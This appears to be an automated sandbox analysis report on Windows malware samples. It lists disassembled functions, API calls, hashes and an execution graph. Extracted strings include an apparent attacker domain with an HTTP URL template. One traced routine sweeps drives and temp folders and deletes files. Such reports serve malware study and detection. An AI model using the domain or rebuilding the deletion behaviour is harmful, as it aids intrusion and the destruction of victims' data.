                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: Timerandsrand$FileSystem
                                      • String ID: ddos.dnsnb8.net$http://%s:%d/%s/%s
                                      • API String ID: 4106363736-3273462101
                                      • Opcode ID: 992e8ea1864d4b265c2fbe08bde6b613dc530947020ca21453867a351db6bb90
                                      • Instruction ID: 434afad4fcf360f75030e61f0f9a066b488b0a6e589babb2e705fc65955f21db
                                      • Opcode Fuzzy Hash: 992e8ea1864d4b265c2fbe08bde6b613dc530947020ca21453867a351db6bb90
                                      • Instruction Fuzzy Hash: 7CE01277A10218BBDB00ABA9EC469DEBFECDE88162B114576F600D3254E574E9448AB8
                                      Function 00412692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,771AE800,?,?,004129DB,?,00000001), ref: 004126A7
                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,771AE800,?,?,004129DB,?,00000001), ref: 004126B5
                                      • lstrlen.KERNEL32(?), ref: 004126C4
                                      • ??2@YAPAXI@Z.MSVCRT ref: 004126CE
                                      • lstrcpy.KERNEL32(00000004,?), ref: 004126E3
                                      • lstrcpy.KERNEL32(?,00000004), ref: 0041271F
                                      • ??3@YAXPAX@Z.MSVCRT ref: 0041272D
                                      • SetEvent.KERNEL32 ref: 0041273C
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
                                      • String ID:
                                      • API String ID: 41106472-0
                                      • Opcode ID: 708bbbe3f716b01a862d3ed2673e9c9e8fc0aeb53e610490761936c6ef6dd80a
                                      • Instruction ID: 18ff6870ed21113e392168fd123f1d025eedecb0d555797d63daba9765866f1e
                                      • Opcode Fuzzy Hash: 708bbbe3f716b01a862d3ed2673e9c9e8fc0aeb53e610490761936c6ef6dd80a
                                      • Instruction Fuzzy Hash: E1117C35500200AFCB219F55EE488DB7FA9FBC4721714803AF458C72A0D7B48995DB9C
                                      Function 00411B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      • czuggTQTpmkYoIwGepMKCkjJoSXBZtnhOvQNfrEFFuAOMxKDqdUbADsiCjWGMkRbtLGYAqhjcLeQilXaasvVxVPFTdBZyHlqsHiBzowrKmURHDdbUNIYnCnaOZPSXcmlwEPWhRLVyNWrvIxueJSygEpfzfJt, xrefs: 00411B8A, 00411B9C, 00411C15, 00411C49
                                      • .exe, xrefs: 00411C57
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: lstrcatmemcpymemsetrandsrand
                                      • String ID: .exe$czuggTQTpmkYoIwGepMKCkjJoSXBZtnhOvQNfrEFFuAOMxKDqdUbADsiCjWGMkRbtLGYAqhjcLeQilXaasvVxVPFTdBZyHlqsHiBzowrKmURHDdbUNIYnCnaOZPSXcmlwEPWhRLVyNWrvIxueJSygEpfzfJt
                                      • API String ID: 122620767-169163136
                                      • Opcode ID: fc99cfd1b88da2eabe0e14ff37407c8f6320841138faec22fe403a2e6d7fa5f6
                                      • Instruction ID: 5b61b94c33d5b290cfb77c6ff5a819762eab1594848487cd8a2871488f2be4fe
                                      • Opcode Fuzzy Hash: fc99cfd1b88da2eabe0e14ff37407c8f6320841138faec22fe403a2e6d7fa5f6
                                      • Instruction Fuzzy Hash: 7C215132E482906ED72513357C41BEA3F458FE7711F2580ABF6895B2F2E16C15C582AC
                                      Function 00411319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 00411334
                                      • GetProcAddress.KERNEL32(00000000), ref: 0041133B
                                      • memset.MSVCRT ref: 00411359
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: AddressHandleModuleProcmemset
                                      • String ID: NtSystemDebugControl$ntdll.dll
                                      • API String ID: 3137504439-2438149413
                                      • Opcode ID: 0c8bbf6e763cedca1fe2e67e4ea9e236e6789537147e2f9439fa9cfb9764dea5
                                      • Instruction ID: 44f2af24f3ef38c42246ae3c781a937716e97c620dcdfaaa89703f9ac0de1269
                                      • Opcode Fuzzy Hash: 0c8bbf6e763cedca1fe2e67e4ea9e236e6789537147e2f9439fa9cfb9764dea5
                                      • Instruction Fuzzy Hash: 9E0161B164030DBFEB10DFA4EC85AEFBBB8FB45315F00413BFA51A1550E2748695CA59
                                      Function 00411DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: strrchr$lstrcmpilstrcpylstrlen
                                      • String ID:
                                      • API String ID: 3636361484-0
                                      • Opcode ID: e1c1a7e20bfaf1424a81326e1f2e48d1d3bc23dd931b99b8735a29c2282bb753
                                      • Instruction ID: 7951073fa2def1ca26cc6e72bd6a79d8f9675c4395b74103a6ea246fc1aa34f1
                                      • Opcode Fuzzy Hash: e1c1a7e20bfaf1424a81326e1f2e48d1d3bc23dd931b99b8735a29c2282bb753
                                      • Instruction Fuzzy Hash: 85018B729043156FEB105BA0EC49BD77FDCDB05351F144077EA45D2090E6789AC5CB98
                                      Function 00416014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0041603C
                                      • GetProcAddress.KERNEL32(00000000,00416064), ref: 0041604F
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.1607567876.0000000000416000.00000040.00000001.01000000.00000004.sdmp, Offset: 00410000, based on PE: true
                                      • Associated: 00000002.00000002.1607420399.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607445238.0000000000411000.00000020.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607487222.0000000000413000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.1607522637.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_410000_wBQInv.jbxd
                                      Similarity
                                      • API ID: AddressHandleModuleProc
                                      • String ID: kernel32.dll
                                      • API String ID: 1646373207-1793498882
                                      • Opcode ID: 9a6a8fdf70ad8674e801ef0ee224f2f476b14239d116b6b3f5cb47cb75ae4c5c
                                      • Instruction ID: 1c703bd6abb52b386f61b8f37a33990b3cc171a0b7985cd1bdff2f48415e6f43
                                      • Opcode Fuzzy Hash: 9a6a8fdf70ad8674e801ef0ee224f2f476b14239d116b6b3f5cb47cb75ae4c5c
                                      • Instruction Fuzzy Hash: 50F0C2B11402898BDF70CE64CC44BDE3BE4EB05700F50042BEA09CB242CB388685CB18

                                      Execution Graph

                                      Execution Coverage:24.8%
                                      Dynamic/Decrypted Code Coverage:0%
                                      Signature Coverage:0%
                                      Total number of Nodes:94
                                      Total number of Limit Nodes:1
                                      execution_graph 315 401360 316 4013a7 315->316 320 401372 315->320 322 4018d0 free 316->322 318 4013b0 320->316 321 4018d0 free 320->321 321->320 322->318 212 4018f6 __set_app_type __p__fmode __p__commode 213 401965 212->213 214 401979 213->214 215 40196d __setusermatherr 213->215 224 401a66 _controlfp 214->224 215->214 217 40197e _initterm __getmainargs _initterm 218 4019d2 GetStartupInfoA 217->218 220 401a06 GetModuleHandleA 218->220 225 4012c0 GetLogicalDrives 220->225 224->217 226 4012e0 225->226 227 401305 GetDriveTypeW 226->227 228 401324 exit _XcptFilter 226->228 231 401080 226->231 227->226 255 401000 GetWindowsDirectoryW 231->255 233 4010d5 swprintf FindFirstFileW 234 40114a 233->234 241 401114 233->241 235 40114e swprintf ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N wcslen ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 234->235 237 40119e 235->237 242 4011ae ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 237->242 268 4013d0 237->268 239 401140 Sleep 239->226 244 401136 241->244 261 401870 241->261 242->237 243 4011d9 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N FindNextFileW 243->235 245 401204 FindClose 243->245 267 4018d0 free 244->267 251 401215 245->251 246 40124a 247 401254 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 246->247 248 401265 246->248 247->247 247->248 249 40128f 248->249 250 40127e ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 248->250 297 4018d0 free 249->297 250->249 250->250 251->246 252 401239 DeleteFileW 251->252 252->251 254 401299 254->239 256 401022 GetTempPathW wcslen 255->256 257 40105e swprintf 255->257 258 401073 256->258 259 40103e wcslen 256->259 257->258 258->233 259->258 260 40104c wcslen 259->260 260->233 262 401885 261->262 263 40187a 261->263 264 4018bb 262->264 299 4018d0 free 262->299 263->262 298 4018d0 free 263->298 264->241 267->239 269 40152b 268->269 273 4013f2 ??2@YAPAXI 268->273 282 4015e7 269->282 283 40153e 269->283 270 401677 270->243 271 401574 274 40159e 271->274 280 401690 7 API calls 271->280 272 401616 278 401629 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 272->278 279 401647 272->279 285 401440 273->285 286 401458 273->286 274->270 275 4015b3 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 274->275 275->275 281 4015cd 275->281 276 401690 7 API calls 276->282 277 401690 7 API calls 277->283 278->278 278->279 279->270 287 40165c ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II 279->287 280->271 281->243 282->270 282->272 282->276 283->271 283->277 285->286 300 401690 285->300 290 401690 7 API calls 286->290 295 40147e 286->295 287->270 287->287 289 4014b5 291 4014d0 289->291 292 4014bf ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 289->292 290->286 314 4018d0 free 291->314 292->291 292->292 294 401690 7 API calls 294->295 295->289 295->294 296 4014d9 296->243 297->254 298->262 299->264 301 4016c0 300->301 307 4017c4 300->307 302 4016e8 301->302 306 40175b 301->306 303 4016f4 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 302->303 304 4016ee ?_Xran@std@ 302->304 309 401705 303->309 304->303 305 4017b5 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 305->307 306->305 310 401775 ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N 306->310 307->285 308 401740 ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@ 308->285 309->308 312 401721 ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N 309->312 311 401786 310->311 311->285 312->308 313 401737 ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI 312->313 313->308 314->296 323 401a48 _exit 324 401a9b ??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE

                                      Callgraph

                                      Executed Functions

                                      Function 00401080 Relevance: 19.7, APIs: 13, Instructions: 173fileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                        • Part of subcall function 00401000: GetWindowsDirectoryW.KERNEL32(00000019,00000104,771B0F00,00000019,004010D5,?,?,771B0F00,00000019,771B3300,00000000), ref: 0040100C
                                        • Part of subcall function 00401000: GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
                                        • Part of subcall function 00401000: wcslen.MSVCRT ref: 00401035
                                        • Part of subcall function 00401000: wcslen.MSVCRT ref: 0040103F
                                        • Part of subcall function 00401000: wcslen.MSVCRT ref: 0040104D
                                      • swprintf.MSVCRT(?,00403040,?,00403050,771B3300,00000000), ref: 004010F5
                                      • FindFirstFileW.KERNELBASE(?,?), ref: 00401107
                                      • swprintf.MSVCRT(?,00403034,?,?), ref: 00401168
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000), ref: 00401177
                                      • wcslen.MSVCRT ref: 00401182
                                      • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 00401194
                                      • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(00000000), ref: 004011B6
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 004011E7
                                      • FindNextFileW.KERNEL32(00000000,?), ref: 004011F6
                                      • FindClose.KERNEL32(00000000), ref: 00401205
                                      • DeleteFileW.KERNEL32(?), ref: 0040123A
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401258
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00401282
                                      Memory Dump Source
                                      • Source File: 0000000A.00000002.1293438722.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 0000000A.00000002.1293421951.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293458060.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293478427.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_10_2_400000_taskdl.jbxd
                                      Similarity
                                      • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@wcslen$FileFind$swprintf$CloseDeleteDirectoryEos@?$basic_string@FirstGrow@?$basic_string@NextPathTempWindows
                                      • String ID:
                                      • API String ID: 2889739147-0
                                      • Opcode ID: d094fdb74faa2036a2288d1d3d1a61125983eed402f55e78df214a8260d1f803
                                      • Instruction ID: c02e7cbfb6260119d7520a8cc5a4b78e5b9d8733a8a6b2d1cbf059c3021fc26b
                                      • Opcode Fuzzy Hash: d094fdb74faa2036a2288d1d3d1a61125983eed402f55e78df214a8260d1f803
                                      • Instruction Fuzzy Hash: E551C3716043419FD720DF64C884B9BB7E9FBC8348F044A2EF589B32D1D6789945CB5A
                                      Function 004018F6 Relevance: 16.6, APIs: 11, Instructions: 111COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000A.00000002.1293438722.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 0000000A.00000002.1293421951.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293458060.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293478427.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_10_2_400000_taskdl.jbxd
                                      Similarity
                                      • API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
                                      • String ID:
                                      • API String ID: 801014965-0
                                      • Opcode ID: 4015c31cfa7eab49e8c51e62fd741af3e0d2f81cb378811d4cbcafae977c22e0
                                      • Instruction ID: 68ab6ae738ded19f39d0610043d4fcd1ea5deb11ceedb7bb579f538117b6dbca
                                      • Opcode Fuzzy Hash: 4015c31cfa7eab49e8c51e62fd741af3e0d2f81cb378811d4cbcafae977c22e0
                                      • Instruction Fuzzy Hash: 42417EB5901344EFDB209FA4DA49A6ABFB8EB09715F20023FF581B72E1D6784940CF58
                                      Function 004012C0 Relevance: 4.5, APIs: 3, Instructions: 41sleepCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 58 4012c0-4012db GetLogicalDrives 59 4012e0-401303 58->59 60 401305-40130f GetDriveTypeW 59->60 61 40131e-401322 59->61 60->61 62 401311-40131c call 401080 Sleep 60->62 61->59 63 401324-40132d 61->63 62->61
                                      APIs
                                      • GetLogicalDrives.KERNELBASE ref: 004012C7
                                      • GetDriveTypeW.KERNELBASE(?,?,?,?,00000000,?,0000000A), ref: 0040130A
                                        • Part of subcall function 00401080: swprintf.MSVCRT(?,00403040,?,00403050,771B3300,00000000), ref: 004010F5
                                        • Part of subcall function 00401080: FindFirstFileW.KERNELBASE(?,?), ref: 00401107
                                      • Sleep.KERNELBASE(0000000A,00000000,?,0000000A), ref: 0040131C
                                      Memory Dump Source
                                      • Source File: 0000000A.00000002.1293438722.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 0000000A.00000002.1293421951.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293458060.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293478427.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_10_2_400000_taskdl.jbxd
                                      Similarity
                                      • API ID: DriveDrivesFileFindFirstLogicalSleepTypeswprintf
                                      • String ID:
                                      • API String ID: 570308627-0
                                      • Opcode ID: fac8c12e3c7440fa081a6b1de2581f42964eb1eb3cef597a2f435b430f1423df
                                      • Instruction ID: 4c7b1852939095ad3804a53ba97627e403d947e7219eb0394d6b0875d80bfcc1
                                      • Opcode Fuzzy Hash: fac8c12e3c7440fa081a6b1de2581f42964eb1eb3cef597a2f435b430f1423df
                                      • Instruction Fuzzy Hash: D9F0C8756043044BD310DF18ED4065B77A5EB99354F00053EED45B3390D776990DC6AA

                                      Non-executed Functions

                                      Function 00401690 Relevance: 10.6, APIs: 7, Instructions: 139COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76775320,00000000,00000000,?,?), ref: 004016EE
                                      • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76775320,00000000,00000000,?,?), ref: 004016F6
                                      • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
                                      • ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 0040173A
                                      • ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 00401742
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76775320,00000000,00000000,?), ref: 00401779
                                      • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76775320,00000000,00000000), ref: 004017BA
                                      Memory Dump Source
                                      • Source File: 0000000A.00000002.1293438722.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 0000000A.00000002.1293421951.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293458060.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293478427.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_10_2_400000_taskdl.jbxd
                                      Similarity
                                      • API ID: G@2@@std@@G@std@@U?$char_traits@V?$allocator@$Grow@?$basic_string@Split@?$basic_string@$Eos@?$basic_string@Tidy@?$basic_string@Xran@std@@
                                      • String ID:
                                      • API String ID: 2613176527-0
                                      • Opcode ID: d8cc844e41db627e1c4436b7b7a073ec45db5ac64ec8fc819127fe6e53c62420
                                      • Instruction ID: b735bfb2d4c14645f341b606901ad4f9af47e45cc28c7d2ea722b83d512bfbf9
                                      • Opcode Fuzzy Hash: d8cc844e41db627e1c4436b7b7a073ec45db5ac64ec8fc819127fe6e53c62420
                                      • Instruction Fuzzy Hash: 81410275300B008FC720DF19DAC4A6AB7E6FB89710B14897EE5569B7A0CB79AC01CB48
                                      Function 00401000 Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 96 401000-401020 GetWindowsDirectoryW 97 401022-40103c GetTempPathW wcslen 96->97 98 40105e-401070 swprintf 96->98 99 401073-401077 97->99 100 40103e-40104a wcslen 97->100 98->99 100->99 101 40104c-40105d wcslen 100->101
                                      APIs
                                      • GetWindowsDirectoryW.KERNEL32(00000019,00000104,771B0F00,00000019,004010D5,?,?,771B0F00,00000019,771B3300,00000000), ref: 0040100C
                                      • GetTempPathW.KERNEL32(00000104,00000019), ref: 00401028
                                      • wcslen.MSVCRT ref: 00401035
                                      • wcslen.MSVCRT ref: 0040103F
                                      • wcslen.MSVCRT ref: 0040104D
                                      • swprintf.MSVCRT(00000019,00403010,?,00403020), ref: 0040106A
                                      Memory Dump Source
                                      • Source File: 0000000A.00000002.1293438722.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 0000000A.00000002.1293421951.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293458060.0000000000402000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      • Associated: 0000000A.00000002.1293478427.0000000000404000.00000002.00000001.01000000.00000007.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_10_2_400000_taskdl.jbxd
                                      Similarity
                                      • API ID: wcslen$DirectoryPathTempWindowsswprintf
                                      • String ID:
                                      • API String ID: 30654359-0
                                      • Opcode ID: 4e66369f8c42ca16cc11ceda3156b996b8b268552c228e5f165bda1afb4dc665
                                      • Instruction ID: 00ede0775e497762771a1e7050bb3ecf99d0a0070f097ddb1d391ed7ba2ca3cf
                                      • Opcode Fuzzy Hash: 4e66369f8c42ca16cc11ceda3156b996b8b268552c228e5f165bda1afb4dc665
                                      • Instruction Fuzzy Hash: ADF0C87170122067E7206B2CBD0AE9F77A8EF85315B01403AF786B62D0D2B55A5586EE
                                      Function 004013D0 Relevance: 7.8, APIs: 5, Instructions: 264COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 102 4013d0-4013ec 103 4013f2-4013f7 102->103 104 40152b-401538 102->104 107 401404 103->107 108 4013f9-401402 103->108 105 4015e7-4015e9 104->105 106 40153e-40154e 104->106 109 401682-401689 105->109 110 4015ef-401600 105->110 111 401550 106->111 112 40157c-40158c 106->112 113 401406-401408 107->113 108->107 108->113 114 401602-401614 call 401690 110->114 115 40161e-401627 110->115 116 401554-401572 call 401690 111->116 119 4015a6-4015ad 112->119 120 40158e-40159c call 401690 112->120 117 40140a-40140c 113->117 118 40140e-401410 113->118 140 401616-40161a 114->140 125 401629-401645 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 115->125 126 40164f-401656 115->126 141 401574-401578 116->141 127 401413-40141b 117->127 118->127 121 4015b3-4015cb ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 119->121 122 40167f 119->122 137 40159e-4015a2 120->137 121->121 129 4015cd-4015e4 121->129 122->109 125->125 132 401647-40164b 125->132 126->122 133 401658 126->133 134 40141d 127->134 135 40141f-40143e ??2@YAPAXI@Z 127->135 132->126 142 40165c-401675 ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z 133->142 134->135 138 401440-401456 call 401690 135->138 139 401458-40145c 135->139 137->119 138->139 145 40147e-40148f 139->145 146 40145e 139->146 140->115 141->112 142->142 143 401677-40167b 142->143 143->122 149 401491 145->149 150 4014b5-4014bd 145->150 148 401462-40147c call 401690 146->148 148->145 152 401495-4014b3 call 401690 149->152 153 4014d0-4014f1 call 4018d0 150->153 154 4014bf-4014ce ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z 150->154 152->150 160 4014f3-401509 153->160 161 40150c-401528 153->161 154->153 154->154
                                      APIs
                                      • ??2@YAPAXI@Z.MSVCRT ref: 00401423
                                      • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,00000001,?), ref: 004014C3
                                      • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76775320,00000000,00000000,?,?,00000001,?), ref: 004015C0
                                      • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76775320,00000000,00000000,?,?,00000001,?), ref: 0040163D
                                      • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@ABV12@II@Z.MSVCP60(?,00000000,?,76775320,00000000,00000000,?,?,00000001,?), ref: 0040166A
                                        • Part of subcall function 00401690: ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76775320,00000000,00000000,?,?), ref: 004016EE
                                        • Part of subcall function 00401690: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,?,?,?,00401AD1,000000FF,00401609,?,?,76775320,00000000,00000000,?,?), ref: 004016F6
                                        • Part of subcall function 00401690: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 0040172D
